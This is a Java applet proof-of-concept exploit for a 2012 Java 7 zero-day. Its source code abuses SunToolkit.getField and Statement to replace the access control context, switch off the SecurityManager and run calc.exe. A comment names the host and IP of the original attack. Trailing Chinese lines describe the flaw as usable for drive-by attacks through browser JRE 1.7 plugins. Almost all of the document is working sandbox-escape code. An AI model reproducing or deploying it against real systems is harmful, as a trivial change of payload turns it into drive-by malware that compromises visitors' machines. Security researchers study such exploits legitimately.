// // CVE-2012-XXXX Java 0day // // reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html // // secret host / ip : ok.aa24.net / 59.120.154.62 // // regurgitated by jduck // // probably a metasploit module soon... // package cve2012xxxx; import java.applet.Applet; import java.awt.Graphics; import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.URL; import java.security.*; import java.security.cert.Certificate; public class Gondvv extends Applet { public Gondvv() { } public void disableSecurity() throws Throwable { Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]); Permissions localPermissions = new Permissions(); localPermissions.add(new AllPermission()); ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions); AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] { localProtectionDomain }); SetField(Statement.class, "acc", localStatement, localAccessControlContext); localStatement.execute(); } private Class GetClass(String paramString) throws Throwable { Object arrayOfObject[] = new Object[1]; arrayOfObject[0] = paramString; Expression localExpression = new Expression(Class.class, "forName", arrayOfObject); localExpression.execute(); return (Class)localExpression.getValue(); } private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2) throws Throwable { Object arrayOfObject[] = new Object[2]; arrayOfObject[0] = paramClass; arrayOfObject[1] = paramString; Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject); localExpression.execute(); ((Field)localExpression.getValue()).set(paramObject1, paramObject2); } public void init() { try { disableSecurity(); Process localProcess = null; localProcess = Runtime.getRuntime().exec("calc.exe"); if(localProcess != null); localProcess.waitFor(); } catch(Throwable localThrowable) { localThrowable.printStackTrace(); } } public void paint(Graphics paramGraphics) { paramGraphics.drawString("Loading", 50, 25); } }
解决方案:http://www.java.com/zh_CN/download/help/enable_browser.xml
另一个版本:Java 0day,该漏洞影响浏览器的JRE[1.7.x]插件,可进行挂马攻击
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